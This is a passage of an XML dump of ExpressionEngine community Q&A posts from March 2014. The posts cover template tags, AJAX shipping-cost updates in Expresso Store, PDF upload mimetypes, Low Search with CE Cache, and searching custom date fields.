class=&quot;form-control input-lg&quot; name=&quot;password_confirm&quot; type=&quot;password&quot; value=&quot;&quot; placeholder=&quot;Confirm Password&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;input class=&quot;form-submit&quot; type=&quot;submit&quot; value=&quot;Register&quot; /&amp;gt;&#xA;&#xA;&#xA;    {field_errors}{error}{/field_errors} &#xA;&#xA;{/exp:zoo_visitor:registration_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-03-21T18:31:10.530" Title="Zoo Visitor email registration refresh" Tags="|forms|zoo-visitor|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20324" PostTypeId="1" AcceptedAnswerId="20417" CreationDate="2014-03-14T18:30:50.780" Score="1" ViewCount="191" Body="&lt;p&gt;I'm using CE Cache's Static driver, which essentially uses EE to generate the first view of a page, and then saves the output to a text file, which is served on subsequent page views; pretty easy to setup, and, super fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a simple, keywords only, Low Search form in the header of every page on our site. It looks like it includes a couple of fields that might be unique to the user/session/cookie, &lt;code&gt;XID&lt;/code&gt;, and, possibly, &lt;code&gt;param&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When another user comes in and performs a search on a cached page, they're getting an error - &quot;you are not authorized to perform this action.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to get the Low Search form working? Any potential &quot;gotchas&quot; to just building a form that will GET to generate the correct URL, e.g. example.com/search/?keywords=widget ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently using EE 2.7.2, Low Search 3.0.3 (I just saw that that's out of date now), and CE Cache 1.10.1.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-18T18:33:04.613" Title="Low Search Form + CE Cache's Static Driver; What's Needed to Make it Work?" Tags="|low-search|ce-cache|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20325" PostTypeId="2" ParentId="20320" CreationDate="2014-03-14T18:40:26.517" Score="1" Body="&lt;p&gt;I had moved over safecracker_file in the third_party directory along with my other extensions when doing the upgrade. Removing safecracker_file fixed the issue.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-03-14T18:40:26.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20326" PostTypeId="1" AcceptedAnswerId="20328" CreationDate="2014-03-14T18:56:49.653" Score="6" ViewCount="686" Body="&lt;p&gt;Is there any way to convert a Matrix field to a Grid field for existing entries without losing any data?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2016-12-28T04:27:22.457" Title="Convert Matrix to Grid" Tags="|matrix|grid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20327" PostTypeId="1" AcceptedAnswerId="20365" CreationDate="2014-03-14T19:23:18.700" Score="4" ViewCount="910" Body="&lt;p&gt;I'm kind of stuck on getting AJAX shipping cost update for Expresso Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shipping part in the checkout page looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;Shipping&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                {field:shipping_method}&#xA;                {if error:shipping_method}&amp;lt;p class=&quot;help-block&quot;&amp;gt;{error:shipping_method}&amp;lt;/p&amp;gt;{/if}&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;&amp;lt;div id=&quot;order_shipping&quot;&amp;gt;{embed=&quot;cart/shipping&quot;}&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &quot;cart/shipping&quot; include looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;{order_shipping}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All works fine when I use &quot;Update Total&quot;, but my goal is to update shipping cost on shipping method select using AJAX below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function() {&#xA;    $(&quot;#shipping_method&quot;).change(function() {&#xA;&#xA;        var url = $(this.form).attr('action');&#xA;        var data = $(&quot;#shipping_method&quot;).val();&#xA;&#xA;        $.post(url, data, function() {&#xA;            $(&quot;#order_shipping&quot;).load(&quot;/cart/shipping&quot;);&#xA;        });&#xA;        return false;       &#xA;&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that case I'm not able to retrieve updated shipping cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue where I have made an error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;cart/shipping&quot; updated to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;&amp;lt;div id=&quot;oso&quot;&amp;gt;{order_shipping}&amp;lt;/div&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And AJAX part looks now like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $(&quot;#shipping_method&quot;).change(function() {&#xA;&#xA;        var url = $(this.form).attr('action');&#xA;        var data = $(this.form).serialize();&#xA;&#xA;        $.post(url, data, function() {&#xA;            $(&quot;#order_shipping&quot;).load(&quot;/cart/shipping #oso);&#xA;        });&#xA;        return false;       &#xA;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It can retrieve shipping cost, but initial cost for the shipping, when checkout process is started, it becomes selected first from the shipping method list but with real value of 0. I have try to &lt;code&gt;.prepend&lt;/code&gt; empty option field, but no matter what is selecting first shipping method for new carts (I'm using UPS shipping module). Default shipping method for new carts from the Store settings is not working either.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-03-14T21:17:40.137" LastActivityDate="2014-03-17T18:45:16.467" Title="Expresso Store: AJAX shipping cost update" Tags="|expresso-store|ajax|shipping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20328" PostTypeId="2" ParentId="20326" CreationDate="2014-03-14T19:50:46.987" Score="-4" Body="&lt;p&gt;There is no easy way,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you must write a custom code to get the data from matrix field and add them to grid field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some PHP and MySql code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do this for you if you want, but we need to contact in privet to get more info about your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-14T19:50:46.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20329" PostTypeId="2" ParentId="20327" CreationDate="2014-03-14T20:00:56.983" Score="1" Body="&lt;p&gt;as answer for your last update change your code to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $(&quot;#shipping_method&quot;).change(function() {&#xA;&#xA;        var url = $(this.form).attr('action');&#xA;        var p_data = $(this.form).serialize();&#xA;&#xA;        $.post(url, p_data , function(data) {&#xA;            var new_shipping = $('&amp;lt;div /&amp;gt;').append(data).find('#oso').html();&#xA;            $(&quot;#order_shipping&quot;).html(new_shipping);&#xA;        });&#xA;        return false;       &#xA;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;try it and let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-14T21:00:08.847" LastActivityDate="2014-03-14T21:00:08.847" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="20330" PostTypeId="2" ParentId="20314" CreationDate="2014-03-14T22:23:34.317" Score="1" Body="&lt;p&gt;No, even if you do delete them.&#xA;People will custom target to whatever signup method you dream of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your anti-spam thoughts should be focused more along the lines of: &quot;What can a freshly registered user do that can be considered spam and how can I change that to at least be harder to do in 5 seconds?&quot;&lt;/p&gt;&#xA;" OwnerUserId="1872" LastActivityDate="2014-03-14T22:23:34.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20331" PostTypeId="1" CreationDate="2014-03-14T22:26:12.850" Score="2" ViewCount="5203" Body="&lt;p&gt;I am having a problem specifically with uploading PDF files when using Firefox (27.0.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have the following in my mimes.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'pdf'    =&amp;gt;    array('application/pdf', 'application/x-download', 'application/octet-stream', 'application/binary', 'application/unknown'),  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried many variations of the above, and nothing has worked so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone found the proper type to add for PDFs that works with Firefox?&lt;/p&gt;&#xA;" OwnerUserId="2422" LastActivityDate="2015-12-08T23:37:52.413" Title="Cannot Upload PDFs with Firefox (Mimetypes)" Tags="|file-uploads|uploads|" AnswerCount="4" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20332" PostTypeId="2" ParentId="20303" CreationDate="2014-03-14T22:29:02.977" Score="-2" Body="&lt;p&gt;Yes, the same exact thing you see in the control panel is available within a channel entries form or loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:store:product entry_id=&quot;{entry_id}&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1872" LastActivityDate="2014-03-14T22:29:02.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20333" PostTypeId="2" ParentId="20268" CreationDate="2014-03-14T22:58:27.820" Score="2" Body="&lt;p&gt;What you have is correct (unless you're missing the closing {/if} for the screen name check like Ahmad pointed out). However, I am assuming you have this Rating:Entries tag placed inside a Channel:Entries loop, within the same template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what's happening is that variables between the 2 tags are colliding, and you'll need to use an embed instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ...stuff... }&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;    {embed=&quot;path_to/embed_template&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries&#xA;    entry_id=&quot;{embed:entry_id}&quot;&#xA;    limit=&quot;10&quot;&#xA;}&#xA;    &amp;lt;p&amp;gt;{review}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{stars}{rating}{/stars}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;h6&amp;gt;{name}&amp;lt;/h6&amp;gt;&#xA;    {if avatar}&#xA;    &amp;lt;img src=&quot;{avatar_url}&quot; width=&quot;{avatar_width}&quot; height=&quot;{avatar_height}&quot;  /&amp;gt;&#xA;    {/if} &#xA;    &amp;lt;/ul&amp;gt;&#xA;    {if rating_no_results}&#xA;        &amp;lt;p&amp;gt;Sorry, no ratings have been submitted for this entry yet.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-14T22:58:27.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20334" PostTypeId="2" ParentId="20331" CreationDate="2014-03-14T23:18:54.630" Score="2" Body="&lt;p&gt;try to use this one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'pdf'    =&amp;gt;    array('application/pdf', 'application/x-download', 'application/download') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tell me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can always solve this problem by rename the mimeTypes.rdf file which you can find in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AppData\Roaming\Mozilla\Firefox\Profiles\&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-14T23:36:50.953" LastActivityDate="2014-03-14T23:36:50.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20336" PostTypeId="2" ParentId="20331" CreationDate="2014-03-15T03:38:36.910" Score="3" Body="&lt;p&gt;I've seen instances where PDF uploads won't work in Firefox if you've got ExpressionEngine XSS filtering file uploads. In Admin -&gt; Security and Session Preferences, set &quot;Apply XSS Filtering to uploaded files?&quot; to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a fan of disabling security measures like this, but I've found no other solution.&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2014-03-15T03:38:36.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20338" PostTypeId="2" ParentId="20072" CreationDate="2014-03-15T11:47:32.917" Score="2" Body="&lt;p&gt;So this is now fixed. What I did was convert the plugin to a module and use EE's ACT action urls to handle the form posting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some great tips from looking at Andrew Weaver's EE Addon Recipes site (&lt;a href=&quot;http://ee-recipes.com&quot; rel=&quot;nofollow&quot;&gt;http://ee-recipes.com&lt;/a&gt;) so thanks to Andrew for putting that out there. &lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-03-15T11:47:32.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20339" PostTypeId="2" ParentId="20321" CreationDate="2014-03-15T14:14:13.153" Score="2" Body="&lt;p&gt;No caching, but strangely, when I change dthe code to this, it suddenly started working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;payment_method&quot; name=&quot;payment_method&quot;&amp;gt;&#xA;{payment_method_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-03-15T14:14:13.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20340" PostTypeId="2" ParentId="20308" CreationDate="2014-03-15T15:17:01.570" Score="-4" Body="&lt;p&gt;Yeah like above set the return template to do a redirect based on passed value... &lt;/p&gt;&#xA;" OwnerUserId="2852" LastActivityDate="2014-03-15T15:17:01.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20341" PostTypeId="2" ParentId="20288" CreationDate="2014-03-15T16:29:16.080" Score="1" Body="&lt;p&gt;First of all, if you use for example publisher for translations, you will keep the same ID's so that would not be an issue!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do in your case is add a custom field to the product of the type checkbox and check the products that can't be shipped. Then in you loop through your cart to check if a product is in the cart you can do a conditional check on the custom check box field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it is possible with cartthrob to add custom fields, with expresso store you can since those product entries are based on channels.&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-03-15T16:29:16.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20343" PostTypeId="1" AcceptedAnswerId="20413" CreationDate="2014-03-16T00:27:49.747" Score="1" ViewCount="157" Body="&lt;p&gt;When I export my DB from one environment to another, all links created with &lt;code&gt;{structure:page_url_for:{entry_id}}&lt;/code&gt; format try to load the environment URL path from the database I imported from another environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I to go to Admin -&gt; General Configuration, the URLs and Paths look right (assuming from Focus Lab config setup) and if I just re-save that page, structure links start working again.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-03-17T21:43:42.590" LastActivityDate="2014-03-21T14:48:23.780" Title="Links created with Structure tags point to wrong environment after DB import from another environment" Tags="|structure|focus-lab-master-config|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20345" PostTypeId="1" AcceptedAnswerId="20346" CreationDate="2014-03-16T02:33:50.373" Score="1" ViewCount="198" Body="&lt;p&gt;I receive this error when trying to install Coppee Pastee in ExpressionEngine 2.8.0&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method EE_Fieldtype::EE_Fieldtype() in /System/expressionengine/third_party/copee_pastee/ft.copee_pastee.php on line 23&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="278" LastActivityDate="2014-03-16T02:33:50.373" Title="Coppee Pastee Fatal error when trying to install fieldtype" Tags="|ee2|fieldtype|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20346" PostTypeId="2" ParentId="20345" CreationDate="2014-03-16T02:33:50.373" Score="4" Body="&lt;p&gt;Replace &quot;parent::EE_Fieldtype();&quot; on line 23 of ft.copee_pastee.php with &quot;parent::__construct();&quot;&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2014-03-16T02:33:50.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20347" PostTypeId="2" ParentId="20343" CreationDate="2014-03-16T09:33:31.430" Score="0" Body="&lt;p&gt;The issue will be done to the config.php file or the database.  The config file will always overwrite the database, so irrelevant of the General Configuration settings within the Control Panel. Also I expect the path in question is set within the template settings, not general config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you're using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Master Config&lt;/a&gt; chances are you've not set the correct environment variable or path, so it's incorrectly identifying the pathing based on the server - or the staging server hasn't been set up correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highly recommend using the &lt;a href=&quot;http://devot-ee.com/add-ons/deeploy-helper&quot; rel=&quot;nofollow&quot;&gt;Deeploy Helper&lt;/a&gt; add-on, which will identify any stray paths anywhere in your build - be it config file or database.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-03-16T09:33:31.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20348" PostTypeId="1" CreationDate="2014-03-16T09:55:55.740" Score="1" ViewCount="364" Body="&lt;p&gt;When working with custom date fields, are there any solutions for searching dates? e.g. channel:entries search:datefield=&quot;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that seems to work, if you search for the litteral unix timestamp e.g. 1394967600&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit/clarfication&lt;/strong&gt;&lt;br&gt;&#xA;I'm searching for a way to use &lt;code&gt;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;&lt;/code&gt; for custom date ranges based on custom fields. The start_on and stop_before parameters only work on the entry_date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer compilation:&lt;br&gt;&#xA;- &lt;strong&gt;Query module&lt;/strong&gt; (however, you won't be able to use other channel:entries parameters)&lt;br&gt;&#xA;- SolSpace &lt;strong&gt;Date Field Filter&lt;/strong&gt; (ads parameters to channel:entries tag)&lt;br&gt;&#xA;- &lt;strong&gt;Low-Search&lt;/strong&gt; (allows ranges on custom fields)&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-03-17T09:34:37.660" LastActivityDate="2014-03-17T09:34:37.660" Title="Is it possible, and how to search in date fields" Tags="|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20349" PostTypeId="2" ParentId="20348" CreationDate="2014-03-16T12:05:43.013" Score="3" Body="&lt;p&gt;With &lt;code&gt;entry_date&lt;/code&gt; you can use a &lt;code&gt;start_on&lt;/code&gt; and &lt;code&gt;stop_before&lt;/code&gt; parameter in your channel loop but cannot do an equivalent for custom date fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two good options here. The first is to use the &lt;code&gt;{exp:query}&lt;/code&gt; module in place of a channel entry loop, and the other is to use a third-party search module such as &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot; title=&quot;Low Search&quot;&gt;Low Search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you opt for the query method you should start a loop such as the following...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:query sql=&quot;SELECT * FROM exp_channel_data JOIN exp_channel_titles &#xA; ON exp_channel_titles.entry_id = exp_channel_data.entry_id WHERE (exp_channel_data.channel_id = '7') AND (field_id_48 &amp;gt; '1194712120' AND field_id_48 &amp;lt; '1694712120')&quot;}&#xA;        &amp;lt;li&amp;gt;{title} - {field_id_48}&amp;lt;/li&amp;gt;&#xA;&#xA;        {if no_results}&#xA;          &amp;lt;li&amp;gt;No results :-(&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/exp:query}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;'7'&lt;/code&gt; is your channel ID and &lt;code&gt;field_id_48&lt;/code&gt; is the ID of your date field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also change the second reference to &lt;code&gt;field_id_48&lt;/code&gt; to a date field for &quot;end date&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;1194712120&lt;/code&gt; and &lt;code&gt;1694712120&lt;/code&gt; to the correct UNIX time stamp for your date range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query module is free and built into ExpressionEngine, but you may need to enable it via the &quot;Add-Ons &gt; Module&quot; screen in the control panel. Low Search is a paid for third-party add-on.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-16T12:05:43.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20350" PostTypeId="1" AcceptedAnswerId="20352" CreationDate="2014-03-16T16:38:33.350" Score="0" ViewCount="168" Body="&lt;p&gt;I've got a channel in EE with a 'Google Maps for EE' fieldtype and what I'm trying to achieve is to not display the map in the template if the content editor has not added a marker to the map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a conditional or marker count available that could be used in the templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE2.73 and Google Maps for EE 3.3.5 &lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-04-15T20:04:23.527" Title="Conditionals or marker count on Google Maps for expression engine" Tags="|ee2|google-maps-for-ee|google-maps|objective-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20351" PostTypeId="2" ParentId="13862" CreationDate="2014-03-16T17:29:31.300" Score="3" Body="&lt;p&gt;Bug fix mentioned here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.ellislab.com/bugs/detail/20084&quot; rel=&quot;nofollow&quot;&gt;http://support.ellislab.com/bugs/detail/20084&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please make sure these seemingly unrelated settings are set:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The original author’s group has to have “Include Members in PUBLISH page multi-author list?” set to “Yes”&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The person attempting to make the edit must have “Can change the author name when &gt; posting channel entries” set to “Yes”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-03-16T17:29:31.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20352" PostTypeId="2" ParentId="20350" CreationDate="2014-03-16T19:39:40.037" Score="0" Body="&lt;p&gt;I think you can use this variable: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.objectivehtml.com/google-maps/fieldtype#total_markers&quot; rel=&quot;nofollow&quot;&gt;https://www.objectivehtml.com/google-maps/fieldtype#total_markers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-16T19:39:40.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20353" PostTypeId="2" ParentId="20348" CreationDate="2014-03-16T21:18:04.120" Score="2" Body="&lt;p&gt;GDmac&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you can workaround this problem using a simple php code like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$timestamp = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;string_to_timestamp(&quot;May 20th, 2007&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will give you a timestamp value for your date which can by passed to {channel:entries} loop via embed variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can put it in a simple plugin if you don't want to use php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use my plugin &lt;a href=&quot;https://github.com/ahmad-saad/str_to_time&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ahmad-saad/str_to_time&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-16T21:18:04.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20354" PostTypeId="2" ParentId="20343" CreationDate="2014-03-16T22:34:06.360" Score="2" Body="&lt;p&gt;I've actually run into this issue on a couple of MSM sites in the last couple of weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can gather, at some point the root URL is stored in the 'site_pages' column in the 'exp_sites' table, for each site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a PHP script that decodes/encodes and unserialzies/serializes the data, and tells you what to change. Ping me at @degerstrom or pal@felt.no if you need more details.&lt;/p&gt;&#xA;" OwnerUserId="183" LastActivityDate="2014-03-16T22:34:06.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20355" PostTypeId="2" ParentId="20343" CreationDate="2014-03-16T23:01:44.843" Score="0" Body="&lt;p&gt;The links in Structure will actually not be affected by any configuration settings. I don't think this is specific to Structure, but I might be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, give this a try: &lt;a href=&quot;https://gist.github.com/degerstrom/9591099&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/degerstrom/9591099&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="183" LastActivityDate="2014-03-16T23:01:44.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20356" PostTypeId="2" ParentId="20308" CreationDate="2014-03-17T00:54:23.073" Score="3" Body="&lt;p&gt;I've had to do similar things in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally what I do is set the return to &lt;code&gt;template_group/template/%%entry_id%%&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, within that template, I use the &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag to pull up the new entry from the the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the tag pair, I use conditionals on whatever fields, or something do a custom plugin to handle the logic, and redirect to the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an additional redirect from using a dynamic value in the return parameter, but it lets you use the template engine to handle your logic for the redirect.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-17T00:54:23.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
